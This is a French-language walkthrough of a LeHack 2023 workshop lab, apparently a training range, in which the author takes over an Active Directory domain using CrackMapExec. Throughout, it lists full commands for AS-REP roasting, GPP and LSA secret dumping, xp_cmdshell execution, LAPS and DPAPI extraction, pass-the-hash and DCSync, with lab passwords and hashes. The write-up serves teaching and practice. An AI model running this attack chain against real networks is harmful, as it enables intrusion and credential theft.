L’atelier a eu lieu lors de LeHack 2023, un événement annuel sur la cybersécurité organisé par l’association HZV. L’objectif de l’atelier était de compromettre un environnement Active Directory et de devenir un administrateur de domaine en utilisant exclusivement CrackMapExec. On nous a donné la plage d’adresses IP 10.0.0.0/24 comme point d’entrée.


Tout d’abord, nous allons exécuter un crackmapexec sur la plage d’adresses IP pour identifier les différentes machines sur le réseau : crackmapexec smb 10.0.0.0/24 Pour rendre crackmapexec plus facile à utiliser, vous pouvez ajouter les machines que vous souhaitez attaquer dans un fichier targets.txt : Si nous devons utiliser l’authentification Kerberos ou quelque chose de similaire, nous ajouterons les noms complets des machines à notre fichier hosts. En effet, le protocole Kerberos ne fonctionne pas avec les adresses IP. /etc/hosts Dans un premier temps, nous pouvons essayer de lister les différents services présents sur les machines en mode anonyme et en tant qu’invité, mais nous nous rendons compte que nous devons trouver un premier compte de domaine pour avancer dans le laboratoire : crackmapexec smb targets.txt -u '' -p '' --sharescrackmapexec smb targets.txt -u 'Guest' -p '' --sharescrackmapexec ldap ad01.poudlard.wizard -u '' -p '' --users Mais si vous faites attention au nom de domaine du laboratoire, vous verrez que c’est poudlard.wizard. Je pense que vous avez compris maintenant qu’il fait référence à la célèbre série de livres et de films. Nous pouvons donc essayer de récupérer la liste des prénoms et noms des principaux personnages et générer des noms d’utilisateurs avec des motifs connus de noms d’utilisateurs. Pour cela, utilisez l’outil namesmash. Noms des personnages de Harry Potterpython namemash.py names.txt Maintenant que nous avons notre liste de noms d’utilisateurs, nous devons vérifier quels utilisateurs existent dans l’Active Directory et lesquels n’existent pas. Pour cela, nous pouvons utiliser l’option -k dans crackmapexec. Nous pouvons voir que le compte tom existe et qu’il est vulnérable à l’ASREP-Roasting. crackmapexec ldap ad01.poudlard.wizard -u users.lst -p "" -kcrackmapexec ldap ad01.poudlard.wizard -u users.lst -p "" -k Nous avons réussi à récupérer le mot de passe pour le compte tom, et donc notre premier compte de domaine. crackmapexec ldap ad01.poudlard.wizard -u tom -p "" --asreproast asrep.txtjohn asrep.txt --wordlist=/usr/share/wordlists/rockyou.txt Maintenant que nous avons un premier compte de domaine, nous allons pouvoir observer l’Active Directory grâce à Bloodhound, nous avons donc besoin de collecter des données. Nous pouvons désormais le faire avec crackmapexec, qui inclut un collecteur pour Bloodhound. crackmapexec ldap ad01.poudlard.wizard -u tom -p 'James2001newyork' --bloodhound -ns 10.0.0.4 --collection All Nous pouvons voir que l’utilisateur tom n’a aucun droit intéressant sur les autres objets de l’Active Directory. Droits de Tom dans Bloodhound Nous passons donc au côté partage de fichiers, et en particulier aux mots de passe des préférences de stratégie de groupe, et nous voyons qu’il y a en effet des mots de passe stockés dans un GPP. crackmapexec smb ad01.poudlard.wizard -u tom -p 'James2001newyork' -M gpp_password Nous essayons alors de projeter les informations d’identification de notre nouvel utilisateur ron sur le domaine, mais nous constatons que sur le serveur SRV02, nous obtenons l’erreur STATUS_NOT_SUPPORTED, ce qui signifie que le protocole NTLM n’est pas pris en charge sur cette machine. Pour résoudre ce problème, nous pouvons utiliser l’option -k, qui utilisera le protocole Kerberos pour l’authentification. crackmapexec smb targets.txt -u ron -p '#Super@Secure&Password$2015?'crackmapexec smb targets.txt -u ron -p '#Super@Secure&Password$2015?' -k Maintenant que nous avons réussi à nous authentifier sur toutes les machines du domaine, nous pouvons examiner les différents partages présents sur les machines et identifier un partage inhabituel sur la machine SRV02. Le nom du partage fait également référence au module spider_plus de crackmapexec, qui identifie les fichiers potentiellement intéressants dans les partages de fichiers. crackmapexec smb targets.txt -u ron -p '#Super@Secure&Password$2015?' -k --sharescrackmapexec smb srv02.poudlard.wizard -u ron -p '#Super@Secure&Password$2015?' -k -M spider_plus Nous pouvons voir qu’il y a un fichier mdp.txt.txt dans le partage SPIDER, nous allons donc le récupérer en utilisant crackmapexec. cat /tmp/cme_spider_plus/SRV02.poudlard.wizard.jsoncrackmapexec smb srv02.poudlard.wizard -u ron -p '#Super@Secure&Password$2015?' -k --get-file '\\PLUS\PLUS\PLUS\PLUS\mdp.txt.txt' mdp.txt --share 'SPIDER' Nous trouvons les identifiants d’un autre compte de domaine ainsi que le chemin d’un flag. Contenu du fichier mdp.txt.txt dans le partage SPIDER Vous pouvez examiner les autorisations de ce nouveau compte sur les partages de fichiers ou dans l’Active Directory, mais vous ne trouverez pas grand-chose. En revanche, lorsque vous regardez d’autres services pris en charge par crackmapexec, tels que mssql, vous pouvez voir que le compte hermione est l’administrateur de la base de données mssql. Cela vous permet d’exécuter des commandes sur le serveur cible avec xp_cmdshell, qui est utilisé avec l’option -X (powershell) ou -x (cmd). crackmapexec mssql targets.txt -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP'\crackmapexec mssql srv01.poudlard.wizard -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP' -X 'whoami' Nous allons donc essayer de lire le fameux flag dont nous avons récupéré le chemin auparavant. Tout d’abord, j’ai essayé l’option --get-file, mais cela n’a pas fonctionné, donc j’ai simplement exécuté une commande pour lire le fichier. crackmapexec mssql srv01.poudlard.wizard -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP' --get-file /tmp/notes.txt 'C:\Users\gMSA-mssql$\notes.txt'crackmapexec mssql srv01.poudlard.wizard -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP' -X 'cat C:\Users\gMSA-mssql$\notes.txt' Après un certain temps à essayer de décoder cette chaîne codée, nous pouvons identifier qu’il s’agit d’une chaîne sécurisée Powershell. En cherchant comment décoder la chaîne sécurisée, je suis tombé sur cet article https://medium.com/@nikhilsda/encryption-and-decryption-in-powershell-e7a678c5cd7d. Il explique comment décoder la chaîne sécurisée dans le contexte utilisateur Powershell. Grâce à cet article, vous pouvez obtenir un nouveau mot de passe. crackmapexec mssql 10.0.0.5 -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP' -X '$encodedString = "..." ; $securepwd = $encodedString | ConvertTo-SecureString ; $Marshal = [System.Runtime.InteropServices.Marshal] ; $Bstr = $Marshal::SecureStringToBSTR($securepwd) ; $pwd = $Marshal::PtrToStringAuto($Bstr) ; Write-host $pwd' Tout d’abord, j’essaie de projeter le mot de passe sur tous les utilisateurs du domaine, mais cela ne fonctionne pour aucun compte. crackmapexec ldap ad01.poudlard.wizard -u users.lst -p '^2w7yutTf8n2gXgdjpsemH8sGf9kDuEQVBTsE7EFQQE9jmSSern#7Hrg9A5'crackmapexec mssql srv01.poudlard.wizard -u 'gMSA-mssql$' -p '^2w7yutTf8n2gXgdjpsemH8sGf9kDuEQVBTsE7EFQQE9jmSSern#7Hrg9A5'crackmapexec smb targets.txt -u Administrator -p '^2w7yutTf8n2gXgdjpsemH8sGf9kDuEQVBTsE7EFQQE9jmSSern#7Hrg9A5' --local-auth Je décide donc de regarder les administrateurs locaux et nous pouvons voir que le nom de l’administrateur local n’est pas celui par défaut, mais adminsrv. Lorsque j’essaie de m’authentifier avec le mot de passe, cela fonctionne et je suis l’administrateur local de la première machine du laboratoire. crackmapexec mssql 10.0.0.5 -u hermnione -p '&Y6DGSKciJn83M7%5o*#vD4z$Lo4iFFidz7f3ybp@L8YEhHh$hwbjav3CsmPP' -X 'net users'crackmapexec smb srv01.poudlard.wizard -u 'adminsrv' -p '^2w7yutTf8n2$^gXgdjpsemH8sGf9kDuEQVBTsE7EFQQE9jmSSern#7Hrg9A5' --local-auth Maintenant que nous sommes administrateur local, nous allons effectuer une post-exploitation et essayer spécifiquement de récupérer de nouvelles informations d’identification pour pouvoir se déplacer latéralement sur les autres machines du laboratoire. En extrayant les secrets LSA, nous récupérons un compte gmsa, nous avons plusieurs possibilités pour récupérer le nom du compte gmsa, soit nous récupérons l’ID de celui-ci et nous utilisons l’option --gmsa-convert-id, soit nous pouvons décrypter le compte gmsa dans LSA avec --gmsa-decrypt-lsa. crackmapexec smb srv01.poudlard.wizard -u 'adminsrv' -p '^2w7yutTf8n2$^gXgdjpsemH8sGf9kDuEQVBTsE7EFQQE9jmSSern#7Hrg9A5' --local-auth --lsa crackmapexec ldap ad01.poudlard.wizard -u ron -p '#Super@Secure&Password$2015?' --gmsa-convert-id d3aa049e5997e701fdf608eb176b55131e6d2be9f0c0f6c31590db0d58c88dbbcrackmapexec ldap ad01.poudlard.wizard -u ron -p '#Super@Secure&Password$2015?' --gmsa-decrypt-lsa '_SC_GMSA_{84A78B8C-56EE-465b-8496-FFB35A1B52A7}_.....' Avec ce nouveau compte, nous pouvons toujours vérifier s’il possède des autorisations intéressantes sur les partages de fichiers ou s’il n’est pas administrateur local d’une machine, mais nous ne trouvons pas grand-chose d’intéressant. crackmapexec smb targets.txt -u 'gMSA-mssql$' -H 4555b90d1f75461ac0fe6d759a111ab7 --shares -k Lorsque nous examinons Bloodhound, nous constatons que le compte gMSA-mssql$ fait partie du groupe LAPSD, il peut donc avoir les autorisations pour lire les mots de passe LAPS d’une des machines. Et en effet, avec l’option --laps, nous pouvons voir que nous pouvons extraire le mot de passe LAPS de la machine SRV02. Groupes du compte gMSA-mssql$ dans Bloodhoundcrackmapexec smb targets.txt -u 'gMSA-mssql$' -H 4555b90d1f75461ac0fe6d759a111ab7 --laps Nous pouvons effectuer le même processus d’exploitation postérieure que sur la machine SRV01, mais je ne trouve pas grand-chose. J’ai eu un problème avec l’option --dpapi, pour une raison obscure, elle n’a pas pu trouver de bloc dpapi à décrypter, cependant, lorsque j’ai enchaîné les modules --laps et --dpapi pour utiliser le dump de mots de passe dans LAPS pour extraire les informations d’identification du dpapi, j’ai obtenu un résultat différent. crackmapexec smb srv02.poudlard.wizard -u 'adminsrv' -H d3821ab41746d3b90c0d503c1932dc36 --local-auth --dpapicrackmapexec smb targets.txt -u 'gMSA-mssql$' -H 4555b90d1f75461ac0fe6d759a111ab7 --laps --dpapi C’est là que la partie devinette du laboratoire intervient, dans le bloc dpapi, nous obtenons un hachage NT mais nous n’avons pas d’utilisateur pour le faire correspondre, donc j’essaie de le casser et d’injecter ce hachage sur les utilisateurs du domaine et les utilisateurs locaux, mais rien ne fonctionne. john hash.txt --wordlist=/usr/share/wordlists/rockyou.txt --format=NTcrackmapexec smb targets.txt -u adminsrv -H aed0bd9b739f70a5d04305fa4cbd2416 --local-authcrackmapexec smb ad01.poudlard.wizard -u users.lst -H aed0bd9b739f70a5d04305fa4cbd2416 En fait, nous avons dû deviner que le hachage NT que nous avons obtenu précédemment correspondait au contrôleur de domaine AD01$ et étant donné que les contrôleurs de domaine ont des droits de réplication par défaut, nous pouvons donc effectuer une DCSync avec le compte AD01$. crackmapexec smb ad01.poudlard.wizard -u 'AD01$' -H aed0bd9b739f70a5d04305fa4cbd2416 --ntds Nous pouvons nous connecter avec le compte rubeus à partir duquel nous avons extrait le hachage NT en ayant DCSync et nous voyons que nous sommes en effet administrateur de domaine avec la mention (Pwn3d!) sur le contrôleur de domaine. crackmapexec smb ad01.poudlard.wizard -u 'rubeus' -H fac544c8d57cb480440e613eeb700d65 -x whoami Merci à mpgn pour la mise en place du laboratoire et à Wil pour avoir aidé à animer l’atelier.


Ressources :